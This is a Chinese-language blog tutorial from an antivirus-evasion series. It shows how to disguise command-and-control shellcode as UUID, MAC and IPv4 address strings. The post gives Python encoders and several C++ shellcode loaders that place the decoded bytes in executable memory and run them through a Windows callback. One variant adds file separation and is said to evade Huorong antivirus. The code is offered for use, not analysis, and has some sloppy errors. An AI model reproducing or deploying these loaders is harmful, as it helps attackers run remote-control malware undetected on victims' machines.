深入解析:C2远控篇&C&C++&SC转换格式&UUID标识&MAC物理&IPv4地址&减少熵值

免杀对抗——第一百五十九天

C2远控篇&C&C++&SC转换格式&UUID标识&MAC物理&IPv4地址&减少熵值

前置知识

  • 之前我们可能讲得更多的都是针对Loader的一个混淆,然后我们今天就来讲讲专门针对ShellCode本身能进行的一些转换
  • 我们常见的可以将ShellCode转换为UUID、MAC、IPv4、IPv6等等,反正总的目的就是让杀毒软件不认识这个东西

C2远控 - UUID地址-ShellCode转换

  • 参考文章:CS shellcode内存加载器免杀及实现-安全KER - 安全资讯平台
  • 我们可以将ShellCode转换为UUID,让其加载到内存,UUID(通用唯一识别码)是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。
  • 我们可以通过Python脚本去生成UUID形式的ShellCode:
from uuid import UUID
import sys
if len(sys.argv) < 2:
print("Usage: %s <shellcode_file>" % sys.argv[0])
  sys.exit(1)
  with open(sys.argv[1], "rb") as f:
  chunk = f.read(16)
  print("{}const char* uuids[] =".format(' '*4))
  print(" {")
  while chunk:
  if len(chunk) < 16:
  padding = 16 - len(chunk)
  chunk = chunk + (b"\x90" * padding)
  print("{}\"{}\"".format(' '*8,UUID(bytes_le=chunk)))
  break
  print("{}\"{}\",".format(' '*8,UUID(bytes_le=chunk)))
  chunk = f.read(16)
  print(" };")

在这里插入图片描述

  • 然后通过如下代码加载:
#include <Windows.h>
  #include <Rpc.h>
    #include <iostream>
      #pragma comment(lib, "Rpcrt4.lib")
      using namespace std;
      const char* uuids[] = { "xxx"};
      int main() {
      HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
      void* hmem = HeapAlloc(hHeap, 0, 0x1000);
      printf("%p\n", hmem);
      DWORD_PTR ptr = (DWORD_PTR)hmem;
      int init = sizeof(uuids) / sizeof(uuids[0]);
      for (int i = 0; i < init; i++) {
      RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)ptr);
      if (status != RPC_S_OK) {
      printf("UuidFromStringA != RPC_S_OK\n");
      CloseHandle(hmem);
      return -1;
      }
      ptr += 16;
      }
      printf("[+] HexDump: \n");
      for (int i = 0; i < init * 16; i++) {
      printf("%02X ", ((unsigned char*)hmem)[i]);
      //((unsigned char*)hmem)[i] ^= 0x39;
      }
      EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
      CloseHandle(hmem);
      return 0;
      }
  • 当然只用这个肯定是没啥用的,我们还需要进行混淆,采用之前的一些技术结合起来才能过基本的杀毒软件,比如这里简单混淆一下代码,然后加个文件分离就可以过火绒了:
#include <Windows.h>
  #include <Rpc.h>
    #include <stdio.h>
      #pragma comment(lib, "Rpcrt4.lib")
      int main() {
      // 从文件读取UUID数组(文件分离)
      FILE* f = fopen("uuids.dat", "r");
      if (!f) return 1;
      char uuid[64];
      int count = 0;
      while (fgets(uuid, sizeof(uuid), f)) {
      if (uuid[0] == '\n') continue;
      count++;
      }
      fseek(f, 0, SEEK_SET);
      // 分配内存
      void* p = VirtualAlloc(NULL, count * 16, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
      DWORD_PTR d = (DWORD_PTR)p;
      // 加载UUID
      while (fgets(uuid, sizeof(uuid), f)) {
      if (uuid[0] == '\n') continue;
      uuid[36] = 0; // 移除换行符
      UuidFromStringA((RPC_CSTR)uuid, (UUID*)d);
      d += 16;
      }
      fclose(f);
      // 执行
      EnumSystemLocalesA((LOCALE_ENUMPROCA)p, 0);
      VirtualFree(p, 0, MEM_RELEASE);
      return 0;
      }

在这里插入图片描述
在这里插入图片描述

C2远控 - MAC地址-ShellCode转换

  • 同理,我们也可以将ShellCode混淆为MAC地址,使用如下脚本:
from macaddress import MAC
import sys
if len(sys.argv) < 2:
print("Usage: %s <shellcode_file>" % sys.argv[0])
  sys.exit(1)
  with open(sys.argv[1], "rb") as f:
  chunk = f.read(6)
  print("{}const char* MAC[] =".format(' '*4))
  print(" {")
  while chunk:
  if len(chunk) < 6:
  padding = 6 - len(chunk)
  chunk = chunk + (b"\x90" * padding)
  print("{}\"{}\"".format(' '*8,MAC(chunk)))
  break
  print("{}\"{}\",".format(' '*8,MAC(chunk)))
  chunk = f.read(6)
  print(" };")

在这里插入图片描述

  • 再通过如下代码加载:
#include <Windows.h>
  #include <stdio.h>
    #include <Ip2string.h>
      #pragma comment(lib, "Ntdll.lib")
      #ifndef NT_SUCCESS
      #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
      #endif
      #define _CRT_SECURE_NO_WARNINGS
      #pragma warning(disable:4996)
      int Error(const char* msg) {
      printf("%s (%u)", msg, GetLastError());
      return 1;
      }
      int main() {
      const char* MAC[] = { xxx };
      int rowLen = sizeof(MAC) / sizeof(MAC[0]);
      PCSTR Terminator = NULL;
      DL_EUI48* LpBaseAddress2 = NULL;
      NTSTATUS STATUS;
      HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
      void* hmem = HeapAlloc(hHeap, 0, 0x1000);
      DWORD_PTR ptr = (DWORD_PTR)hmem;
      for (int i = 0; i < rowLen; i++) {
      STATUS = RtlEthernetStringToAddressA((PCSTR)MAC[i], &Terminator,
      (DL_EUI48*)ptr);
      if (!NT_SUCCESS(STATUS)) {
      printf("[!] RtlEthernetStringToAddressA failed in %s result %x(% u)", MAC[i], STATUS, GetLastError());
      return FALSE;
      }
      ptr += 6;
      }
      printf("[+] HexDump: \n");
      for (int i = 0; i < 6 * rowLen; i++) {
      printf("%02X ", ((unsigned char*)hmem)[i]);
      }
      EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
      CloseHandle(hmem);
      return 0;
      }
  • 但是这个也是过不了任何杀毒软件,还是需要进行混淆,这里就不细讲

C2远控 - IPv4地址-ShellCode转换

  • 还是一样,可以通过下面的代码将ShellCode转换为IPv4的地址:
from ipaddress import ip_address
import sys
if len(sys.argv) < 2:
print("Usage: %s <shellcode_file>" % sys.argv[0])
  sys.exit(1)
  with open(sys.argv[1], "rb") as f:
  chunk = f.read(4)
  print("{}const char* IPv4s[] =".format(' '*4))
  print(" {")
  while chunk:
  if len(chunk) < 4:
  padding = 4 - len(chunk)
  chunk = chunk + (b"\x90" * padding)
  print("{}\"{}\"".format(' '*8,ip_address(chunk)))
  break
  print("{}\"{}\",".format(' '*8,ip_address(chunk)))
  chunk = f.read(4)
  print(" };")

在这里插入图片描述

  • 再通过如下代码加载:
#include <Windows.h>
  #include <stdio.h>
    #include <Ip2string.h>
      #pragma comment(lib, "Ntdll.lib")
      #ifndef NT_SUCCESS
      #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
      #endif
      int main() {
      const char* IPv4s[] = { xxx };
      PCSTR Terminator = NULL;
      PVOID LpBaseAddress = NULL;
      PVOID LpBaseAddress2 = NULL;
      NTSTATUS STATUS;
      HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
      void* hmem = HeapAlloc(hHeap, 0, 0x1000);
      DWORD_PTR ptr = (DWORD_PTR)hmem;
      int init = sizeof(IPv4s) / sizeof(IPv4s[0]);
      for (int i = 0; i < init; i++) {
      RPC_STATUS STATUS = RtlIpv4StringToAddressA((PCSTR)IPv4s[i], FALSE,
      &Terminator, (in_addr*)ptr);
      if (!NT_SUCCESS(STATUS)) {
      printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)",
      IPv4s[i], STATUS, GetLastError());
      return FALSE;
      }
      ptr += 4;
      }
      printf("[+] HexDump: \n");
      for (int i = 0; i < init * 4; i++) {
      printf("%02X ", ((unsigned char*)hmem)[i]);
      }
      EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
      CloseHandle(hmem);
      return 0;
      }
  • 这也没啥好说的,反正主要的原理就是 shellcode -> 加密/编码 -> 混淆后的shellcode,这三个技术与之前什么Base64、XOR、Rot13等等其实没什么本质上的区别
posted on 2026-01-14 19:06  ljbguanli  阅读(6)  评论(0)    收藏  举报